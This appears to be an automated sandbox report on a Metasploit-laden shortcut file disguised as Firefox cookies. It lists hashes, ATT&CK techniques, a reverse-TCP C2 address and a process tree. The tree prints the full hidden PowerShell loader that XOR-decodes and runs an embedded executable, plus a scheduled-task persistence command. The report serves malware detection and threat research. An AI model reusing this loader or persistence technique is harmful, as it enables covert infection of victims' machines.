metasploit | ad2c2d0ceba543871fede2eb84d4ffb5901b5848f125840c259a74402d799268

General

Target

Browsers/Firefox/Cookies.txt.lnk
Size

1.1MB
MD5

f633c0331190af42493e0bd861853bbe
SHA1

e51a46951bb42d8ea12e6d86c075d30c9b95b160
SHA256

273a75ba90251e317ed6291e6d4e31f80ce006e81bdc6582a4988078dc5610ef
SHA512

35a59bd65dfb15f7412904cc41f1d2eae39e5d15ce9963ff9251584d9b642060dcdf6c3b74f9ba358922d2a0b0baa04887697f4ed8e48bfeb7b2fe98e9861cc9
SSDEEP

24576:BqdCjhtTdvhtTdvhtTdvhtTdvhtTdvhr8k:7htTdvhtTdvhtTdvhtTdvhtTdvhQk

Score

10^/10

metasploit backdoor discovery execution trojan upx

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

104.248.194.233:443

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
220	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	tmp11972887.exe

Executes dropped EXE 2 IoCs

pid	Process
4988	tmp11972887.exe
1440	nsxr3oca.cwf.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0004000000000707-33.dat	upx
behavioral2/memory/1440-40-0x0000000000400000-0x0000000000419000-memory.dmp	upx
behavioral2/memory/1440-42-0x0000000000400000-0x0000000000419000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nsxr3oca.cwf.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4700	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
220	powershell.exe
220	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	4988	tmp11972887.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2332 wrote to memory of 5088	2332	cmd.exe	83
PID 2332 wrote to memory of 5088	2332	cmd.exe	83
PID 5088 wrote to memory of 220	5088	cmd.exe	84
PID 5088 wrote to memory of 220	5088	cmd.exe	84
PID 220 wrote to memory of 4988	220	powershell.exe	94
PID 220 wrote to memory of 4988	220	powershell.exe	94
PID 4988 wrote to memory of 4964	4988	tmp11972887.exe	95
PID 4988 wrote to memory of 4964	4988	tmp11972887.exe	95
PID 4988 wrote to memory of 4700	4988	tmp11972887.exe	97
PID 4988 wrote to memory of 4700	4988	tmp11972887.exe	97
PID 4988 wrote to memory of 1440	4988	tmp11972887.exe	99
PID 4988 wrote to memory of 1440	4988	tmp11972887.exe	99
PID 4988 wrote to memory of 1440	4988	tmp11972887.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Browsers\Firefox\Cookies.txt.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00117926} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x33 }; $path = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002838)) -Encoding Byte; ^& $path;
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00117926} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x33 }; $path = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:220
  - - C:\Users\Admin\AppData\Local\Temp\tmp11972887.exe
      "C:\Users\Admin\AppData\Local\Temp\tmp11972887.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4988
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks.exe" /query /TN WinTask
        5⤵
        
        PID:4964
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\Admin\AppData\Local\Temp\tmp11972887.exe /sc minute /mo 5
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4700
    - - C:\Users\Admin\AppData\Local\Temp\nsxr3oca.cwf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nsxr3oca.cwf.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qun0frmw.c0l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsxr3oca.cwf.exe

Filesize
47KB

MD5
090de6108919fa287445dcc327750a88

SHA1
c9edd286ffa8533ed76b4efa464753a1649f95b0

SHA256
4edf2a61c1a4af58990fe72a746d9b810cd173ddb40baf56231a580095b6c252

SHA512
4a89033e1fa619328fb5eb3a39a027d32061c96f1205240bc73d5ed6d6ad27e5e22cdf718855a476a6171c63e8b9e1b797a84fdcc30b38e2ac7c66a860ba75ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp11972887.exe

Filesize
1.1MB

MD5
7889c4df19a5f4e678965812cdde1deb

SHA1
fbc034bae5de5bde878b364134a73d12cc3b47f5

SHA256
4cf48c2a3933ac4c6733533bf16d40fa4e411fbbf42b03d84d6c8df62e253ad0

SHA512
8642097d70fcd4dd46eda2ced82c3727ca4b27c19fc803568347cc4828e65bfce5aa4fc94b8fcf5d1b1aa21bfeecd865883c8be1b3717d7d76d82b838c836401

Download Submit
memory/220-14-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/220-12-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/220-13-0x00007FFDB5643000-0x00007FFDB5645000-memory.dmp

Filesize
8KB

Download
memory/220-0-0x00007FFDB5643000-0x00007FFDB5645000-memory.dmp

Filesize
8KB

Download
memory/220-15-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/220-11-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/220-25-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/220-6-0x000001DEFBF60000-0x000001DEFBF82000-memory.dmp

Filesize
136KB

Download
memory/1440-40-0x0000000000400000-0x0000000000419000-memory.dmp

Filesize
100KB

Download
memory/1440-42-0x0000000000400000-0x0000000000419000-memory.dmp

Filesize
100KB

Download
memory/4988-24-0x000001CB65E20000-0x000001CB65F3A000-memory.dmp

Filesize
1.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads